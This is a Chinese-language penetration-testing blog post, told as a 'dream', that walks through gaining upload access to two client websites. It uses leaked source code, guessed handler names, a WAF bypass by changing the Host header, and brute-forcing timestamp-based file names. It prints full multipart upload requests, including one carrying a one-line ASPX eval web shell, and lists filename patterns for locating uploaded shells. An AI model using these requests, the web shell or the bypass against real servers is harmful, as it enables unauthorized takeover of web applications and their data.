實戰 | 一次運氣很好的文件上傳繞過
某天客戶丟來了兩個站點,白天摸魚日站,發現日不動。晚上做夢還想著它,明天要怎么交差,于是在夢里發生了這次滲透。
站點1:文件上傳
發現源代碼泄露
打開自己珍藏已久的辣雞字典,掃描發現存在bin.zip信息泄露,嘗試進行代碼審計
文件位置:SimpleDataPlatform.SimpleDataPlatform.fileUpload
找到ProccessRequest接收請求,可以看到獲取了一堆參數后(初始化),后進入了HandleFiles方法,

跟進HandleFiles進行處理,如果dateType=ZBJHSB時,就繼續處理請求,dateType為GET傳參

路徑為/Uploads/SetData/ZBJHSB,str名稱為時間戳,且str2(后綴)沒有進行限制就進行保存,
OK,這應該是一個妥妥的任意文件上傳了,只要有返回值,那么這個站就沒了。但是很不湊巧的是,他沒有返回值。
由于方法fileUpload,瞎猜文件名為
fileUpload.aspxfileUpload.ashxfileUpload.asmxfileUploads.aspxfileUploads.asmxfileUploads.ashxUpload.....等
加上自己現有的字典爆破了一波,成功找到了返回了200的文件名http://xxx.com:6039/FileUploads.ashx
直接構造上傳表單,這里Form里的name字段應該是沒有具體設置的(代碼里沒有找到),發包后返回200,可能真的傳上去了吧?
POST /FileUploads.ashx?DataType=ZBJHSB HTTP/1.1Host: xxx.cn:6039Content-Length: 195User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=----WebKitFormBoundarySVkAJfiOUeRxhsu8Accept: */*Connection: close ------WebKitFormBoundarySVkAJfiOUeRxhsu8Content-Disposition: form-data; name="File"; filename="1.aspx"Content-Type: image/jpeg 11111111111------WebKitFormBoundarySVkAJfiOUeRxhsu8--

之前我們看到使用的格式為yyyyMMddHHmmssfff作為文件名,然后直接截取后綴作為ext,而且我們有了具體的路徑,那么只需要爆破時間戳文件名即可拿下該站點,以前還沒有這么做過,不妨試試。
爆破時間戳
使用Powershell生成時間戳,然后此時在Burp按下go發送請求包
powershell -c Get-Date -Format yyyyMMddHHmmssfff
再爆破后面5位數字,也就是ssfff(由于電腦上的時間不一定準,有時候甚至可能要爆破6位)
不知道等了多久

運氣真好,后面的就不多說了。
站點2:文件上傳
找到上傳接口
打開網站http://xxxx:880/zwwpt/#/就發現存在一個webpack debug模式未關閉,查看JS發現上傳接口

http://xxxxxx:880/zwwpt/data/menuData.json
發現了一個隱藏的html頁面,這個頁面在前端的功能點是點不到的。

http://xxxxxx:880/jtwxt/xgjt/security_risk.html
點擊附件上傳抓包

發現存在waf,當攔截住waf的時候,會返回404,大概數據包就是這樣(省略了一些其他的無用參數)
POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1Host: xxxxx.cn:880Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810Connection: close ------WebKitFormBoundary7PCqG5iQ5vwLZ6ABContent-Disposition: form-data; name="uploadfile[]"; filename="1.aspx"Content-Type: image/jpeg <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--
繞過
修改HOST:
xxxx.cn:880為xxxx.cn或xxx.cn:8888(不為880端口應該都可以)
POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1Host: xxxxx.cnCookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810Connection: close ------WebKitFormBoundary7PCqG5iQ5vwLZ6ABContent-Disposition: form-data; name="uploadfile[]"; filename="1.aspxContent-Type: image/jpeg 1111------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--
成功饒過waf,上傳成功,但是沒有返回路徑

尋找路徑
但是之前爆破目錄找到了/uploads/目錄和/image/目錄


而且發現html名為security_risk.html,構造路徑securityrisk、security_risk、security等,然后跑了一下目錄
最終發現存在:
http://xxx.cn:880/uploads/securityrisk/ 這個目錄

猜測可能上傳的文件很有可能在該目錄下,不然沒必要起這么像的名字吧,而且還叫upload,于是嘗試直接訪問剛剛的文件名1.txt,返回是404
http://xxx.cn:880/uploads/securityrisk/1.txt

爆破時間戳
根據自己微不足道的經驗,dot.net架構的網站喜歡使用時間戳來命名,因此構造當前時間戳,嘗試爆破上傳時間附近的時間點的時間戳值。
時間戳一般為10位或者13位
文件上傳后強制轉換的文件名命名規律一般有
1、隨機字符串
xxx-xxx-xxx--xxx.jpg 格式這種類型我們沒法猜,如果沒目錄遍歷或者返回路徑那么基本上只能放棄
2、時間戳類型
直接以時間戳+.jpg為文件名(如1631868676.jpg)時間戳+00001時間戳+0001時間戳+001時間戳+01時間戳
3、yymmddHHmm類型
這種類型一般以20210917xxxxx這種格式,xxxx應該為毫秒級別的數字,我們可以直接使用Burp進行爆破跑,4——6位還是可能跑的出來的,再多就跑不出來了。
powershell -c Get-Date -Format yyyyMMddHHmm

yyyyMMddHHmmssfffyyyyMMddHHmmssfff+00001yyyyMMddHHmmssfff+0001yyyyMMddHHmmssfff+001yyyyMMddHHmmssfff+01yyyyMMddHHmmssfff yyyyMMddHHmmssyyyyMMddHHmmss+00001yyyyMMddHHmmss+0001yyyyMMddHHmmss+001yyyyMMddHHmmss+01yyyyMMddHHmmss
整理好了思路我們就開始爆破吧,我們只需選擇在Burp發包時記住當前
時間,然后獲取當前時間戳,然后使用Burp intruder爆破來跑,一個一個的整理過去,大概需要重復操作15次,每次我就選擇最后5位數字來進行爆破(只要網站不掛,不疏漏每一種類型應該是沒什么問題的)

經過大量爆破后,發現了上傳的文本文件,格式內容為
yyyyMMddHHmmss+0001
成功找到路徑后,后面的就無需多言了
但是這種方法還是比較靠運氣的,因為很有可能當前服務器的時間和目標網站的 時間不一致,比如差個幾個小時,甚至差個幾天這種情況。 如果為yyyyMMddHHmmssfff的情況,那基本是沒辦法了,自認倒霉 如果是yyyyMMddHHmmss的情況,那么爆破6位數字,還是可能爆破出來的。
至此,兩個站都拿到了權限,夢醒了。